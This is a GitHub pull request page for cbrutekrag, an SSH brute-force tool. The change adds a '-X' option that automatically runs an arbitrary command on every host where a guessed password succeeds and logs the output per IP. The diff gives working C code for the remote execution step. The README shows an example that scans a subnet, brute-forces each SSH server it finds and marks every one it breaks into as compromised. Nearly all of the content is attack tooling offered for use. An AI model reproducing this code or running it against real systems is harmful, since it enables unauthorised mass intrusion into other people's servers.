Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[FEATURE] Remote command execution #13

Open
wants to merge 21 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 15 commits
Commits
Show all changes
21 commits
Select commit Hold shift + click to select a range
2a56d25
Command execution (argument: -X <command>) (Feature request #3)
matricali Sep 21, 2019
21b5fc0
Merge branch 'master' into feature/remote-command-execution
matricali Oct 13, 2019
b68dfc0
Writes command execution output into a log file. File format ({remote…
matricali Oct 14, 2019
09f8daf
Merge conflicts
matricali Dec 8, 2019
b3edc66
Command execution (argument: -X <command>) (Feature request #3)
matricali Sep 21, 2019
0c7f051
Writes command execution output into a log file. File format ({remote…
matricali Oct 14, 2019
44f8022
Merge branch 'feature/remote-command-execution' of github.com:jorge-m…
matricali Dec 8, 2019
76e2569
Merge branch 'feature/remote-command-execution' of github.com:jorge-m…
matricali Dec 8, 2019
d2cb896
Merge branch 'feature/remote-command-execution' of github.com:jorge-m…
matricali Dec 8, 2019
5e29bad
Remove duplicated code
matricali Dec 8, 2019
dbedf0a
Merge remote-tracking branch 'origin/master' into feature/remote-comm…
matricali Jan 30, 2020
51472c4
Merge remote-tracking branch 'origin/master' into feature/remote-comm…
matricali Mar 9, 2020
4ea93d7
Update log.c
matricali Jan 29, 2021
8988f3c
Update detection.c
matricali Jan 29, 2021
2fc0680
Merge remote-tracking branch 'origin/master' into feature/remote-comm…
matricali Feb 15, 2024
2bca838
FIX: Adding ssh_channel_send_eof
matricali Feb 21, 2024
34a7928
Better information about command execution status
matricali Feb 21, 2024
32cd632
FIX: ssh_get_error shouldnt be used after ssh_free
matricali Feb 21, 2024
55aae89
FIX: Buffer overflow in banner grabber
matricali Feb 21, 2024
83968a5
Merge branch 'master' into feature/remote-command-execution
matricali Feb 21, 2024
614328b
Update CHANGELOG
matricali Feb 21, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Added the initial basis to support different ports on different targets
- Now is possible to specify the port on targets list (ex: 10.10.1.10:2222) (see #5)
- Shows time elapsed on each phase.
- Remote command execution (argument: -X <command>).
- Increase the maximum file descriptor number that can be opened by this process.
- manpages (`man cbrutekrag`)
- Debug bracktrace symbols
Expand Down
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ $ cbrutekrag -h


usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst]
[-t THREADS] [-o OUTPUT.txt] [TARGETS...]
[-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...]

-h This help
-v Verbose mode
Expand All @@ -74,12 +74,16 @@ usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations.
-o <output> Output log file
-a Accepts non OpenSSH servers
-A Allow servers detected as honeypots.
-X <command> Remote command execution.
```

## Example usages
```bash
cbrutekrag -T targets.txt -C combinations.txt -o result.log
cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.1.0/24

# Scans 192.168.100.0/24 using 24 threads, then bruteforce discovered ssh servers and execute command if we can log into.
cbrutekrag -s -o result.log -t 24 -C combos.txt -X "touch THIS_HOST_HAS_BEEN_COMPROMISED" 192.168.100.0/24
```

### Supported targets syntax
Expand Down
4 changes: 4 additions & 0 deletions include/bruteforce_ssh.h
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,8 @@ SOFTWARE.

#include <stdint.h>

#include <libssh/libssh.h>

#include "cbrutekrag.h"

int bruteforce_ssh_login(btkg_context_t *context, const char *hostname,
Expand All @@ -36,4 +38,6 @@ int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname,
const char *password, size_t count, size_t total,
FILE *output);

int bruteforce_ssh_execute_command(ssh_session session, const char *command);

#endif /* BRUTEFORCE_SSH_H */
1 change: 1 addition & 0 deletions include/cbrutekrag.h
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ typedef struct {
int perform_scan;
int non_openssh;
int allow_honeypots;
char *command;
} btkg_context_t;

void print_banner(void);
Expand Down
1 change: 1 addition & 0 deletions include/detection.h
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ SOFTWARE.

#include <stdint.h>

#include "cbrutekrag.h"
#include "target.h"

typedef struct {
Expand Down
118 changes: 118 additions & 0 deletions src/bruteforce_ssh.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,15 +22,60 @@ SOFTWARE.

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <arpa/inet.h>

#include <libssh/libssh.h>

#include "bruteforce_ssh.h"
#include "cbrutekrag.h"
#include "log.h"
#include "progressbar.h"

int g_timeout;

char *get_output_filename_for_session(ssh_session session)
{
struct sockaddr_storage tmp;
struct sockaddr_in *sock;
unsigned int len = 100;
char ip[100] = "\0";

getpeername(ssh_get_fd(session), (struct sockaddr *)&tmp, &len);
sock = (struct sockaddr_in *)&tmp;
inet_ntop(AF_INET, &sock->sin_addr, ip, len);

char *filename = malloc(strlen(ip) + 9); // _cmd.log + null-terminator

if (filename == NULL) {
exit(EXIT_FAILURE);
}

strcpy(filename, ip);
strcat(filename, "_cmd.log");

return filename;
}

FILE *get_output_file_for_session(ssh_session session)
{
FILE *output = NULL;
char *filename = get_output_filename_for_session(session);

output = fopen(filename, "a");

if (output == NULL) {
log_error("Error opening output file. (%s)", filename);
exit(EXIT_FAILURE);
}

free(filename);

return output;
}

int bruteforce_ssh_login(btkg_context_t *context, const char *hostname,
uint16_t port, const char *username,
const char *password)
Expand Down Expand Up @@ -101,6 +146,10 @@ int bruteforce_ssh_login(btkg_context_t *context, const char *hostname,
if (method & (int)SSH_AUTH_METHOD_PASSWORD) {
r = ssh_userauth_password(my_ssh_session, NULL, password);
if (r == SSH_AUTH_SUCCESS) {
if (context->command != NULL) {
bruteforce_ssh_execute_command(
my_ssh_session, context->command);
}
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);

Expand Down Expand Up @@ -142,3 +191,72 @@ int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname,

return ret;
}

int bruteforce_ssh_execute_command(ssh_session session, const char *command)
{
ssh_channel channel;
int ret;

/** Create channel */

channel = ssh_channel_new(session);

if (channel == NULL) {
return SSH_ERROR;
}

/** Open a session */

ret = ssh_channel_open_session(channel);
if (ret != SSH_OK) {
log_error("Cannot open channel.");
ssh_channel_free(channel);
return ret;
}

/** Send command */

ret = ssh_channel_request_exec(channel, command);
if (ret != SSH_OK) {
log_error("Cannot execute command.");
ssh_channel_close(channel);
ssh_channel_free(channel);
return ret;
}

/** Read the output */

FILE *output = NULL;
char buffer[256];
int nbytes;
nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);

output = get_output_file_for_session(session);

while (nbytes > 0) {
if (fwrite(buffer, 1, (size_t)nbytes, output) !=
(size_t)nbytes) {
goto exit_with_errors;
}
nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
}

if (nbytes < 0) {
goto exit_with_errors;
}

fclose(output);
ssh_channel_close(channel);
ssh_channel_free(channel);

return ret;

exit_with_errors:
if (output != NULL) {
fclose(output);
}
ssh_channel_close(channel);
ssh_channel_free(channel);

return SSH_ERROR;
}
12 changes: 8 additions & 4 deletions src/cbrutekrag.c
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ void print_banner()
void usage(const char *p)
{
printf("\nusage: %s [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C credentials.lst]\n"
"\t\t[-t THREADS] [-o OUTPUT.txt] [TARGETS...]\n\n",
"\t\t[-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...]\n\n",
p);
}

Expand All @@ -84,7 +84,7 @@ int main(int argc, char **argv)
char *credentials_filename = NULL;
char *output_filename = NULL;
FILE *output = NULL;
btkg_context_t context = { 3, 1, 0, 0, 0, 0, 0, 0 };
btkg_context_t context = { 3, 1, 0, 0, 0, 0, 0, 0, NULL };
struct timespec start, end;
double elapsed;
struct rlimit limit;
Expand All @@ -105,7 +105,7 @@ int main(int argc, char **argv)
context.max_threads =
(limit.rlim_cur > 1024) ? 1024 : limit.rlim_cur - 8;

while ((opt = getopt(argc, argv, "aAT:C:t:o:DsvVPh")) != -1) {
while ((opt = getopt(argc, argv, "aAT:C:t:o:DsvVPhX:")) != -1) {
switch (opt) {
case 'a':
context.non_openssh = 1;
Expand Down Expand Up @@ -147,6 +147,9 @@ int main(int argc, char **argv)
case 'P':
context.progress_bar = 1;
break;
case 'X':
context.command = strdup(optarg);
break;
case 'h':
print_banner();
usage(argv[0]);
Expand All @@ -161,7 +164,8 @@ int main(int argc, char **argv)
" -t <threads> Max threads\n"
" -o <output> Output log file\n"
" -a Accepts non OpenSSH servers\n"
" -A Allow servers detected as honeypots.\n");
" -A Allow servers detected as honeypots.\n"
" -X <command> Remote command execution.\n");
exit(EXIT_SUCCESS);
default:
usage(argv[0]);
Expand Down
2 changes: 1 addition & 1 deletion src/detection.c
Original file line number Diff line number Diff line change
Expand Up @@ -153,7 +153,7 @@ int detection_detect_ssh(btkg_context_t *ctx, const char *hostname,
ret = connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));

FD_ZERO(&fdset);
FdSet(sockfd, &fdset);
FD_SET(sockfd, &fdset);

/* Connection timeout */
struct timeval tv;
Expand Down
Loading